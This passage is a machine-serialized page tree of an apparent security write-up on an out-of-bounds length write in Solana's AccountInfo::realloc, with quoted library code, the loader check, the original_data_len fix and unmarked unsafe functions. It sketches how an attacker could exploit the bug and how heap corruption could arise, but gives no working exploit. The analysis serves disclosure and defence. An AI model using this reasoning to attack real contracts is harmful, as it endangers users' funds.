post_len",{"type":22,"tag":101,"props":20917,"children":20918},{"style":166},[20919],{"type":27,"value":231},{"type":22,"tag":101,"props":20921,"children":20922},{"style":926},[20923],{"type":27,"value":18294},{"type":22,"tag":101,"props":20925,"children":20926},{"style":120},[20927],{"type":27,"value":980},{"type":22,"tag":101,"props":20929,"children":20930},{"style":166},[20931],{"type":27,"value":8615},{"type":22,"tag":101,"props":20933,"children":20934},{"style":126},[20935],{"type":27,"value":20936},"pre_len",{"type":22,"tag":101,"props":20938,"children":20939},{"style":120},[20940],{"type":27,"value":20941},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":22,"tag":101,"props":20943,"children":20944},{"class":103,"line":157},[20945,20950,20954,20958,20963,20967],{"type":22,"tag":101,"props":20946,"children":20947},{"style":166},[20948],{"type":27,"value":20949}," ||",{"type":22,"tag":101,"props":20951,"children":20952},{"style":126},[20953],{"type":27,"value":20915},{"type":22,"tag":101,"props":20955,"children":20956},{"style":166},[20957],{"type":27,"value":18196},{"type":22,"tag":101,"props":20959,"children":20960},{"style":120},[20961],{"type":27,"value":20962}," MAX_PERMITTED_DATA_LENGTH ",{"type":22,"tag":101,"props":20964,"children":20965},{"style":108},[20966],{"type":27,"value":12849},{"type":22,"tag":101,"props":20968,"children":20969},{"style":114},[20970],{"type":27,"value":20971}," usize\n",{"type":22,"tag":101,"props":20973,"children":20974},{"class":103,"line":182},[20975],{"type":22,"tag":101,"props":20976,"children":20977},{"style":120},[20978],{"type":27,"value":14886},{"type":22,"tag":101,"props":20980,"children":20981},{"class":103,"line":367},[20982,20987,20991,20995,20999,21003,21008],{"type":22,"tag":101,"props":20983,"children":20984},{"style":3595},[20985],{"type":27,"value":20986}," return",{"type":22,"tag":101,"props":20988,"children":20989},{"style":114},[20990],{"type":27,"value":19747},{"type":22,"tag":101,"props":20992,"children":20993},{"style":120},[20994],{"type":27,"value":980},{"type":22,"tag":101,"props":20996,"children":20997},{"style":114},[20998],{"type":27,"value":19756},{"type":22,"tag":101,"props":21000,"children":21001},{"style":166},[21002],{"type":27,"value":970},{"type":22,"tag":101,"props":21004,"children":21005},{"style":114},[21006],{"type":27,"value":21007},"InvalidRealloc",{"type":22,"tag":101,"props":21009,"children":21010},{"style":120},[21011],{"type":27,"value":994},{"type":22,"tag":101,"props":21013,"children":21014},{"class":103,"line":398},[21015],{"type":22,"tag":101,"props":21016,"children":21017},{"style":120},[21018],{"type":27,"value":188},{"type":22,"tag":23,"props":21020,"children":21021},{},[21022,21024,21029,21031,21036],{"type":27,"value":21023},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":22,"tag":6961,"props":21025,"children":21026},{},[21027],{"type":27,"value":21028},"finishes",{"type":27,"value":21030}," execution. ",{"type":22,"tag":6961,"props":21032,"children":21033},{},[21034],{"type":27,"value":21035},"During",{"type":27,"value":21037}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":22,"tag":23,"props":21039,"children":21040},{},[21041,21043,21048,21050,21055,21057,21064],{"type":27,"value":21042},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":22,"tag":6961,"props":21044,"children":21045},{},[21046],{"type":27,"value":21047},"arbitrary",{"type":27,"value":21049}," memory access through a mistakenly-",{"type":22,"tag":30,"props":21051,"children":21053},{"className":21052},[],[21054],{"type":27,"value":17641},{"type":27,"value":21056},"'d account, this falls in the relm of some ",{"type":22,"tag":80,"props":21058,"children":21061},{"href":21059,"rel":21060},"https://en.wikipedia.org/wiki/Buffer_overflow",[84],[21062],{"type":27,"value":21063},"old-school pwning",{"type":27,"value":21065}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":22,"tag":1760,"props":21067,"children":21069},{"id":21068},"not-contracts",[21070],{"type":27,"value":21071},"Not-contracts?",{"type":22,"tag":23,"props":21073,"children":21074},{},[21075,21077,21082,21084,21094,21096,21108,21110,21117,21119,21124,21126,21131,21133,21146,21148,21153,21155,21160],{"type":27,"value":21076},"Remember when we said that all this code makes sense ",{"type":22,"tag":6961,"props":21078,"children":21079},{},[21080],{"type":27,"value":21081},"if the data points to the BPF loader's serialized buffer",{"type":27,"value":21083},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":22,"tag":80,"props":21085,"children":21088},{"href":21086,"rel":21087},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[84],[21089],{"type":22,"tag":30,"props":21090,"children":21092},{"className":21091},[],[21093],{"type":27,"value":18940},{"type":27,"value":21095}," are public, and so is its ",{"type":22,"tag":80,"props":21097,"children":21100},{"href":21098,"rel":21099},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[84],[21101,21106],{"type":22,"tag":30,"props":21102,"children":21104},{"className":21103},[],[21105],{"type":27,"value":19124},{"type":27,"value":21107}," method",{"type":27,"value":21109}," (which is ",{"type":22,"tag":80,"props":21111,"children":21114},{"href":21112,"rel":21113},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[84],[21115],{"type":27,"value":21116},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":27,"value":21118},"). The ",{"type":22,"tag":30,"props":21120,"children":21122},{"className":21121},[],[21123],{"type":27,"value":17641},{"type":27,"value":21125}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":22,"tag":30,"props":21127,"children":21129},{"className":21128},[],[21130],{"type":27,"value":18940},{"type":27,"value":21132}," ourselves - potentially through the ",{"type":22,"tag":80,"props":21134,"children":21137},{"href":21135,"rel":21136},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[84],[21138,21144],{"type":22,"tag":30,"props":21139,"children":21141},{"className":21140},[],[21142],{"type":27,"value":21143},"Account",{"type":27,"value":21145}," trait",{"type":27,"value":21147},", which is hardly documented at all and makes ",{"type":22,"tag":6961,"props":21149,"children":21150},{},[21151],{"type":27,"value":21152},"no",{"type":27,"value":21154}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":22,"tag":30,"props":21156,"children":21158},{"className":21157},[],[21159],{"type":27,"value":7738},{"type":27,"value":21161}," buffer.",{"type":22,"tag":23,"props":21163,"children":21164},{},[21165,21167,21178,21180,21186,21188,21194,21196,21209,21211,21216,21218,21223,21225,21230,21232,21237,21239,21244,21246,21251],{"type":27,"value":21166},"One long arm of this is ",{"type":22,"tag":80,"props":21168,"children":21171},{"href":21169,"rel":21170},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[84],[21172],{"type":22,"tag":30,"props":21173,"children":21175},{"className":21174},[],[21176],{"type":27,"value":21177},"solana_sdk::account::Account",{"type":27,"value":21179}," - in the client SDK. It holds an account's data in a ",{"type":22,"tag":30,"props":21181,"children":21183},{"className":21182},[],[21184],{"type":27,"value":21185},"Vec\u003Cu8>",{"type":27,"value":21187},", and it implements ",{"type":22,"tag":30,"props":21189,"children":21191},{"className":21190},[],[21192],{"type":27,"value":21193},"solana_program::account_info::Account",{"type":27,"value":21195}," (the trait from earlier) - by ",{"type":22,"tag":80,"props":21197,"children":21200},{"href":21198,"rel":21199},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[84],[21201,21203],{"type":27,"value":21202},"returning a reference to the contents of that ",{"type":22,"tag":30,"props":21204,"children":21206},{"className":21205},[],[21207],{"type":27,"value":21208},"Vec",{"type":27,"value":21210},". So, ",{"type":22,"tag":30,"props":21212,"children":21214},{"className":21213},[],[21215],{"type":27,"value":17641},{"type":27,"value":21217}," writes the size into the 8 bytes right before ",{"type":22,"tag":30,"props":21219,"children":21221},{"className":21220},[],[21222],{"type":27,"value":7738},{"type":27,"value":21224},"; ",{"type":22,"tag":30,"props":21226,"children":21228},{"className":21227},[],[21229],{"type":27,"value":7738},{"type":27,"value":21231}," is the buffer of a ",{"type":22,"tag":30,"props":21233,"children":21235},{"className":21234},[],[21236],{"type":27,"value":21208},{"type":27,"value":21238},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":22,"tag":30,"props":21240,"children":21242},{"className":21241},[],[21243],{"type":27,"value":18940},{"type":27,"value":21245}," out of an SDK ",{"type":22,"tag":30,"props":21247,"children":21249},{"className":21248},[],[21250],{"type":27,"value":21143},{"type":27,"value":21252}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":22,"tag":53,"props":21254,"children":21256},{"id":21255},"remediation",[21257],{"type":27,"value":21258},"Remediation",{"type":22,"tag":23,"props":21260,"children":21261},{},[21262],{"type":27,"value":21263},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":22,"tag":23,"props":21265,"children":21266},{},[21267,21269,21274,21276,21281,21283,21294,21296,21301,21303,21310],{"type":27,"value":21268},"The sensible thing to do would be to store the initial size in the ",{"type":22,"tag":30,"props":21270,"children":21272},{"className":21271},[],[21273],{"type":27,"value":18940},{"type":27,"value":21275},"... except for the fact that the layout of ",{"type":22,"tag":30,"props":21277,"children":21279},{"className":21278},[],[21280],{"type":27,"value":18940},{"type":27,"value":21282}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":22,"tag":6802,"props":21284,"children":21285},{},[21286],{"type":22,"tag":80,"props":21287,"children":21291},{"href":21288,"ariaDescribedBy":21289,"dataFootnoteRef":7,"id":21290},"#user-content-fn-layout",[6809],"user-content-fnref-layout",[21292],{"type":27,"value":21293},"3",{"type":27,"value":21295}," So, with changing ",{"type":22,"tag":30,"props":21297,"children":21299},{"className":21298},[],[21300],{"type":27,"value":18940},{"type":27,"value":21302}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":22,"tag":80,"props":21304,"children":21307},{"href":21305,"rel":21306},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[84],[21308],{"type":27,"value":21309},"this function",{"type":27,"value":169},{"type":22,"tag":91,"props":21312,"children":21314},{"className":93,"code":21313,"language":95,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[21315],{"type":22,"tag":30,"props":21316,"children":21317},{"__ignoreMap":7},[21318,21326,21334,21342,21350,21357,21365,21373,21421,21486,21552,21573],{"type":22,"tag":101,"props":21319,"children":21320},{"class":103,"line":104},[21321],{"type":22,"tag":101,"props":21322,"children":21323},{"style":2215},[21324],{"type":27,"value":21325},"/// Return the account's original data length when it was serialized for the\n",{"type":22,"tag":101,"props":21327,"children":21328},{"class":103,"line":157},[21329],{"type":22,"tag":101,"props":21330,"children":21331},{"style":2215},[21332],{"type":27,"value":21333},"/// current program invocation.\n",{"type":22,"tag":101,"props":21335,"children":21336},{"class":103,"line":182},[21337],{"type":22,"tag":101,"props":21338,"children":21339},{"style":2215},[21340],{"type":27,"value":21341},"///\n",{"type":22,"tag":101,"props":21343,"children":21344},{"class":103,"line":367},[21345],{"type":22,"tag":101,"props":21346,"children":21347},{"style":2215},[21348],{"type":27,"value":21349},"/// # Safety\n",{"type":22,"tag":101,"props":21351,"children":21352},{"class":103,"line":398},[21353],{"type":22,"tag":101,"props":21354,"children":21355},{"style":2215},[21356],{"type":27,"value":21341},{"type":22,"tag":101,"props":21358,"children":21359},{"class":103,"line":428},[21360],{"type":22,"tag":101,"props":21361,"children":21362},{"style":2215},[21363],{"type":27,"value":21364},"/// This method assumes that the original data length was serialized as a u32\n",{"type":22,"tag":101,"props":21366,"children":21367},{"class":103,"line":997},[21368],{"type":22,"tag":101,"props":21369,"children":21370},{"style":2215},[21371],{"type":27,"value":21372},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":22,"tag":101,"props":21374,"children":21375},{"class":103,"line":1032},[21376,21380,21384,21388,21393,21397,21401,21405,21409,21413,21417],{"type":22,"tag":101,"props":21377,"children":21378},{"style":108},[21379],{"type":27,"value":17693},{"type":22,"tag":101,"props":21381,"children":21382},{"style":108},[21383],{"type":27,"value":18592},{"type":22,"tag":101,"props":21385,"children":21386},{"style":108},[21387],{"type":27,"value":17698},{"type":22,"tag":101,"props":21389,"children":21390},{"style":926},[21391],{"type":27,"value":21392}," original_data_len",{"type":22,"tag":101,"props":21394,"children":21395},{"style":120},[21396],{"type":27,"value":980},{"type":22,"tag":101,"props":21398,"children":21399},{"style":166},[21400],{"type":27,"value":985},{"type":22,"tag":101,"props":21402,"children":21403},{"style":108},[21404],{"type":27,"value":4242},{"type":22,"tag":101,"props":21406,"children":21407},{"style":120},[21408],{"type":27,"value":901},{"type":22,"tag":101,"props":21410,"children":21411},{"style":166},[21412],{"type":27,"value":17759},{"type":22,"tag":101,"props":21414,"children":21415},{"style":114},[21416],{"type":27,"value":17733},{"type":22,"tag":101,"props":21418,"children":21419},{"style":120},[21420],{"type":27,"value":154},{"type":22,"tag":101,"props":21422,"children":21423},{"class":103,"line":1063},[21424,21428,21433,21437,21441,21445,21450,21454,21458,21462,21466,21470,21474,21478,21482],{"type":22,"tag":101,"props":21425,"children":21426},{"style":108},[21427],{"type":27,"value":950},{"type":22,"tag":101,"props":21429,"children":21430},{"style":126},[21431],{"type":27,"value":21432}," key_ptr",{"type":22,"tag":101,"props":21434,"children":21435},{"style":166},[21436],{"type":27,"value":960},{"type":22,"tag":101,"props":21438,"children":21439},{"style":108},[21440],{"type":27,"value":17799},{"type":22,"tag":101,"props":21442,"children":21443},{"style":166},[21444],{"type":27,"value":231},{"type":22,"tag":101,"props":21446,"children":21447},{"style":120},[21448],{"type":27,"value":21449},"key ",{"type":22,"tag":101,"props":21451,"children":21452},{"style":108},[21453],{"type":27,"value":12849},{"type":22,"tag":101,"props":21455,"children":21456},{"style":166},[21457],{"type":27,"value":13822},{"type":22,"tag":101,"props":21459,"children":21460},{"style":108},[21461],{"type":27,"value":13660},{"type":22,"tag":101,"props":21463,"children":21464},{"style":126},[21465],{"type":27,"value":1501},{"type":22,"tag":101,"props":21467,"children":21468},{"style":108},[21469],{"type":27,"value":12835},{"type":22,"tag":101,"props":21471,"children":21472},{"style":166},[21473],{"type":27,"value":13822},{"type":22,"tag":101,"props":21475,"children":21476},{"style":108},[21477],{"type":27,"value":13660},{"type":22,"tag":101,"props":21479,"children":21480},{"style":114},[21481],{"type":27,"value":18636},{"type":22,"tag":101,"props":21483,"children":21484},{"style":120},[21485],{"type":27,"value":1520},{"type":22,"tag":101,"props":21487,"children":21488},{"class":103,"line":1071},[21489,21493,21498,21502,21506,21510,21514,21518,21522,21527,21531,21535,21539,21543,21548],{"type":22,"tag":101,"props":21490,"children":21491},{"style":108},[21492],{"type":27,"value":950},{"type":22,"tag":101,"props":21494,"children":21495},{"style":126},[21496],{"type":27,"value":21497}," original_data_len_ptr",{"type":22,"tag":101,"props":21499,"children":21500},{"style":166},[21501],{"type":27,"value":960},{"type":22,"tag":101,"props":21503,"children":21504},{"style":126},[21505],{"type":27,"value":21432},{"type":22,"tag":101,"props":21507,"children":21508},{"style":166},[21509],{"type":27,"value":231},{"type":22,"tag":101,"props":21511,"children":21512},{"style":926},[21513],{"type":27,"value":17903},{"type":22,"tag":101,"props":21515,"children":21516},{"style":120},[21517],{"type":27,"value":980},{"type":22,"tag":101,"props":21519,"children":21520},{"style":166},[21521],{"type":27,"value":8372},{"type":22,"tag":101,"props":21523,"children":21524},{"style":1544},[21525],{"type":27,"value":21526},"4",{"type":22,"tag":101,"props":21528,"children":21529},{"style":120},[21530],{"type":27,"value":901},{"type":22,"tag":101,"props":21532,"children":21533},{"style":108},[21534],{"type":27,"value":12849},{"type":22,"tag":101,"props":21536,"children":21537},{"style":166},[21538],{"type":27,"value":13822},{"type":22,"tag":101,"props":21540,"children":21541},{"style":108},[21542],{"type":27,"value":13660},{"type":22,"tag":101,"props":21544,"children":21545},{"style":114},[21546],{"type":27,"value":21547}," u32",{"type":22,"tag":101,"props":21549,"children":21550},{"style":120},[21551],{"type":27,"value":1520},{"type":22,"tag":101,"props":21553,"children":21554},{"class":103,"line":1110},[21555,21560,21565,21569],{"type":22,"tag":101,"props":21556,"children":21557},{"style":166},[21558],{"type":27,"value":21559}," *",{"type":22,"tag":101,"props":21561,"children":21562},{"style":126},[21563],{"type":27,"value":21564},"original_data_len_ptr",{"type":22,"tag":101,"props":21566,"children":21567},{"style":108},[21568],{"type":27,"value":12835},{"type":22,"tag":101,"props":21570,"children":21571},{"style":114},[21572],{"type":27,"value":20971},{"type":22,"tag":101,"props":21574,"children":21575},{"class":103,"line":1118},[21576],{"type":22,"tag":101,"props":21577,"children":21578},{"style":120},[21579],{"type":27,"value":188},{"type":22,"tag":23,"props":21581,"children":21582},{},[21583,21585,21590,21592,21597,21599,21604,21606,21611,21613,21620,21622,21629,21630,21637,21638,21645,21646,21653],{"type":27,"value":21584},"It's marked ",{"type":22,"tag":30,"props":21586,"children":21588},{"className":21587},[],[21589],{"type":27,"value":18358},{"type":27,"value":21591},", properly documented, but there's just one problem: we need this for ",{"type":22,"tag":30,"props":21593,"children":21595},{"className":21594},[],[21596],{"type":27,"value":17641},{"type":27,"value":21598},", which originally was not ",{"type":22,"tag":30,"props":21600,"children":21602},{"className":21601},[],[21603],{"type":27,"value":18358},{"type":27,"value":21605},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":22,"tag":30,"props":21607,"children":21609},{"className":21608},[],[21610],{"type":27,"value":18358},{"type":27,"value":21612}," block and added ",{"type":22,"tag":80,"props":21614,"children":21617},{"href":21615,"rel":21616},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[84],[21618],{"type":27,"value":21619},"a doc comment",{"type":27,"value":21621}," - adding to the ",{"type":22,"tag":80,"props":21623,"children":21626},{"href":21624,"rel":21625},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[84],[21627],{"type":27,"value":21628},"small",{"type":27,"value":2169},{"type":22,"tag":80,"props":21631,"children":21634},{"href":21632,"rel":21633},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[84],[21635],{"type":27,"value":21636},"pile",{"type":27,"value":2169},{"type":22,"tag":80,"props":21639,"children":21642},{"href":21640,"rel":21641},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[84],[21643],{"type":27,"value":21644},"of",{"type":27,"value":2169},{"type":22,"tag":80,"props":21647,"children":21650},{"href":21648,"rel":21649},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[84],[21651],{"type":27,"value":21652},"functions",{"type":27,"value":21654}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":22,"tag":53,"props":21656,"children":21658},{"id":21657},"towards-safer-unsafe",[21659,21661],{"type":27,"value":21660},"Towards safer ",{"type":22,"tag":30,"props":21662,"children":21664},{"className":21663},[],[21665],{"type":27,"value":18358},{"type":22,"tag":23,"props":21667,"children":21668},{},[21669,21671,21676,21678,21683,21685,21692],{"type":27,"value":21670},"Let's circle back to that main ",{"type":22,"tag":30,"props":21672,"children":21674},{"className":21673},[],[21675],{"type":27,"value":18358},{"type":27,"value":21677}," block inside ",{"type":22,"tag":30,"props":21679,"children":21681},{"className":21680},[],[21682],{"type":27,"value":17641},{"type":27,"value":21684}," for a bit, shall we? As a reminder, it looks like ",{"type":22,"tag":80,"props":21686,"children":21689},{"href":21687,"rel":21688},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[84],[21690],{"type":27,"value":21691},"this",{"type":27,"value":169},{"type":22,"tag":91,"props":21694,"children":21696},{"className":93,"code":21695,"language":95,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[21697],{"type":22,"tag":30,"props":21698,"children":21699},{"__ignoreMap":7},[21700,21708,21719,21727,21814,21845,21852,21860,21987,22018],{"type":22,"tag":101,"props":21701,"children":21702},{"class":103,"line":104},[21703],{"type":22,"tag":101,"props":21704,"children":21705},{"style":2215},[21706],{"type":27,"value":21707},"// realloc\n",{"type":22,"tag":101,"props":21709,"children":21710},{"class":103,"line":157},[21711,21715],{"type":22,"tag":101,"props":21712,"children":21713},{"style":108},[21714],{"type":27,"value":18358},{"type":22,"tag":101,"props":21716,"children":21717},{"style":120},[21718],{"type":27,"value":154},{"type":22,"tag":101,"props":21720,"children":21721},{"class":103,"line":182},[21722],{"type":22,"tag":101,"props":21723,"children":21724},{"style":2215},[21725],{"type":27,"value":21726}," // First set new length in the serialized data\n",{"type":22,"tag":101,"props":21728,"children":21729},{"class":103,"line":367},[21730,21734,21738,21742,21746,21750,21754,21758,21762,21766,21770,21774,21778,21782,21786,21790,21794,21798,21802,21806,21810],{"type":22,"tag":101,"props":21731,"children":21732},{"style":108},[21733],{"type":27,"value":950},{"type":22,"tag":101,"props":21735,"children":21736},{"style":126},[21737],{"type":27,"value":17859},{"type":22,"tag":101,"props":21739,"children":21740},{"style":166},[21741],{"type":27,"value":960},{"type":22,"tag":101,"props":21743,"children":21744},{"style":108},[21745],{"type":27,"value":17799},{"type":22,"tag":101,"props":21747,"children":21748},{"style":166},[21749],{"type":27,"value":231},{"type":22,"tag":101,"props":21751,"children":21752},{"style":926},[21753],{"type":27,"value":17876},{"type":22,"tag":101,"props":21755,"children":21756},{"style":120},[21757],{"type":27,"value":17881},{"type":22,"tag":101,"props":21759,"children":21760},{"style":166},[21761],{"type":27,"value":7173},{"type":22,"tag":101,"props":21763,"children":21764},{"style":926},[21765],{"type":27,"value":17890},{"type":22,"tag":101,"props":21767,"children":21768},{"style":120},[21769],{"type":27,"value":17881},{"type":22,"tag":101,"props":21771,"children":21772},{"style":166},[21773],{"type":27,"value":231},{"type":22,"tag":101,"props":21775,"children":21776},{"style":926},[21777],{"type":27,"value":17903},{"type":22,"tag":101,"props":21779,"children":21780},{"style":120},[21781],{"type":27,"value":980},{"type":22,"tag":101,"props":21783,"children":21784},{"style":166},[21785],{"type":27,"value":8372},{"type":22,"tag":101,"props":21787,"children":21788},{"style":1544},[21789],{"type":27,"value":8119},{"type":22,"tag":101,"props":21791,"children":21792},{"style":120},[21793],{"type":27,"value":901},{"type":22,"tag":101,"props":21795,"children":21796},{"style":108},[21797],{"type":27,"value":12849},{"type":22,"tag":101,"props":21799,"children":21800},{"style":166},[21801],{"type":27,"value":13822},{"type":22,"tag":101,"props":21803,"children":21804},{"style":108},[21805],{"type":27,"value":7760},{"type":22,"tag":101,"props":21807,"children":21808},{"style":114},[21809],{"type":27,"value":174},{"type":22,"tag":101,"props":21811,"children":21812},{"style":120},[21813],{"type":27,"value":1520},{"type":22,"tag":101,"props":21815,"children":21816},{"class":103,"line":398},[21817,21821,21825,21829,21833,21837,21841],{"type":22,"tag":101,"props":21818,"children":21819},{"style":166},[21820],{"type":27,"value":21559},{"type":22,"tag":101,"props":21822,"children":21823},{"style":126},[21824],{"type":27,"value":17951},{"type":22,"tag":101,"props":21826,"children":21827},{"style":166},[21828],{"type":27,"value":960},{"type":22,"tag":101,"props":21830,"children":21831},{"style":126},[21832],{"type":27,"value":17960},{"type":22,"tag":101,"props":21834,"children":21835},{"style":108},[21836],{"type":27,"value":12835},{"type":22,"tag":101,"props":21838,"children":21839},{"style":114},[21840],{"type":27,"value":174},{"type":22,"tag":101,"props":21842,"children":21843},{"style":120},[21844],{"type":27,"value":1520},{"type":22,"tag":101,"props":21846,"children":21847},{"class":103,"line":428},[21848],{"type":22,"tag":101,"props":21849,"children":21850},{"emptyLinePlaceholder":15},[21851],{"type":27,"value":1581},{"type":22,"tag":101,"props":21853,"children":21854},{"class":103,"line":997},[21855],{"type":22,"tag":101,"props":21856,"children":21857},{"style":2215},[21858],{"type":27,"value":21859}," // Then set the new length in the local slice\n",{"type":22,"tag":101,"props":21861,"children":21862},{"class":103,"line":1032},[21863,21867,21871,21875,21879,21883,21887,21891,21895,21899,21903,21907,21911,21915,21919,21923,21927,21931,21935,21939,21943,21947,21951,21955,21959,21963,21967,21971,21975,21979,21983],{"type":22,"tag":101,"props":21864,"children":21865},{"style":108},[21866],{"type":27,"value":950},{"type":22,"tag":101,"props":21868,"children":21869},{"style":126},[21870],{"type":27,"value":17859},{"type":22,"tag":101,"props":21872,"children":21873},{"style":166},[21874],{"type":27,"value":960},{"type":22,"tag":101,"props":21876,"children":21877},{"style":166},[21878],{"type":27,"value":870},{"type":22,"tag":101,"props":21880,"children":21881},{"style":108},[21882],{"type":27,"value":7760},{"type":22,"tag":101,"props":21884,"children":21885},{"style":166},[21886],{"type":27,"value":13822},{"type":22,"tag":101,"props":21888,"children":21889},{"style":120},[21890],{"type":27,"value":18019},{"type":22,"tag":101,"props":21892,"children":21893},{"style":108},[21894],{"type":27,"value":4242},{"type":22,"tag":101,"props":21896,"children":21897},{"style":166},[21898],{"type":27,"value":231},{"type":22,"tag":101,"props":21900,"children":21901},{"style":120},[21902],{"type":27,"value":7738},{"type":22,"tag":101,"props":21904,"children":21905},{"style":166},[21906],{"type":27,"value":231},{"type":22,"tag":101,"props":21908,"children":21909},{"style":926},[21910],{"type":27,"value":18040},{"type":22,"tag":101,"props":21912,"children":21913},{"style":120},[21914],{"type":27,"value":18045},{"type":22,"tag":101,"props":21916,"children":21917},{"style":108},[21918],{"type":27,"value":12849},{"type":22,"tag":101,"props":21920,"children":21921},{"style":166},[21922],{"type":27,"value":13822},{"type":22,"tag":101,"props":21924,"children":21925},{"style":108},[21926],{"type":27,"value":13660},{"type":22,"tag":101,"props":21928,"children":21929},{"style":114},[21930],{"type":27,"value":174},{"type":22,"tag":101,"props":21932,"children":21933},{"style":120},[21934],{"type":27,"value":2261},{"type":22,"tag":101,"props":21936,"children":21937},{"style":166},[21938],{"type":27,"value":231},{"type":22,"tag":101,"props":21940,"children":21941},{"style":926},[21942],{"type":27,"value":17903},{"type":22,"tag":101,"props":21944,"children":21945},{"style":120},[21946],{"type":27,"value":980},{"type":22,"tag":101,"props":21948,"children":21949},{"style":1544},[21950],{"type":27,"value":6813},{"type":22,"tag":101,"props":21952,"children":21953},{"style":120},[21954],{"type":27,"value":901},{"type":22,"tag":101,"props":21956,"children":21957},{"style":108},[21958],{"type":27,"value":12849},{"type":22,"tag":101,"props":21960,"children":21961},{"style":114},[21962],{"type":27,"value":174},{"type":22,"tag":101,"props":21964,"children":21965},{"style":120},[21966],{"type":27,"value":901},{"type":22,"tag":101,"props":21968,"children":21969},{"style":108},[21970],{"type":27,"value":12849},{"type":22,"tag":101,"props":21972,"children":21973},{"style":166},[21974],{"type":27,"value":13822},{"type":22,"tag":101,"props":21976,"children":21977},{"style":108},[21978],{"type":27,"value":7760},{"type":22,"tag":101,"props":21980,"children":21981},{"style":114},[21982],{"type":27,"value":174},{"type":22,"tag":101,"props":21984,"children":21985},{"style":120},[21986],{"type":27,"value":994},{"type":22,"tag":101,"props":21988,"children":21989},{"class":103,"line":1063},[21990,21994,21998,22002,22006,22010,22014],{"type":22,"tag":101,"props":21991,"children":21992},{"style":166},[21993],{"type":27,"value":21559},{"type":22,"tag":101,"props":21995,"children":21996},{"style":126},[21997],{"type":27,"value":17951},{"type":22,"tag":101,"props":21999,"children":22000},{"style":166},[22001],{"type":27,"value":960},{"type":22,"tag":101,"props":22003,"children":22004},{"style":126},[22005],{"type":27,"value":17960},{"type":22,"tag":101,"props":22007,"children":22008},{"style":108},[22009],{"type":27,"value":12835},{"type":22,"tag":101,"props":22011,"children":22012},{"style":114},[22013],{"type":27,"value":174},{"type":22,"tag":101,"props":22015,"children":22016},{"style":120},[22017],{"type":27,"value":1520},{"type":22,"tag":101,"props":22019,"children":22020},{"class":103,"line":1071},[22021],{"type":22,"tag":101,"props":22022,"children":22023},{"style":120},[22024],{"type":27,"value":188},{"type":22,"tag":23,"props":22026,"children":22027},{},[22028,22030,22035],{"type":27,"value":22029},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":22,"tag":30,"props":22031,"children":22033},{"className":22032},[],[22034],{"type":27,"value":19502},{"type":27,"value":22036}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":22,"tag":23,"props":22038,"children":22039},{},[22040,22042,22047,22049,22054,22056,22061,22063,22068,22070,22075,22077,22083,22085,22095,22097,22108],{"type":27,"value":22041},"First, let's deal with the ",{"type":22,"tag":30,"props":22043,"children":22045},{"className":22044},[],[22046],{"type":27,"value":19502},{"type":27,"value":22048}," borrowing issue. When we ",{"type":22,"tag":30,"props":22050,"children":22052},{"className":22051},[],[22053],{"type":27,"value":17876},{"type":27,"value":22055},", we get a ",{"type":22,"tag":30,"props":22057,"children":22059},{"className":22058},[],[22060],{"type":27,"value":20739},{"type":27,"value":22062}," back, which represents our borrow of the 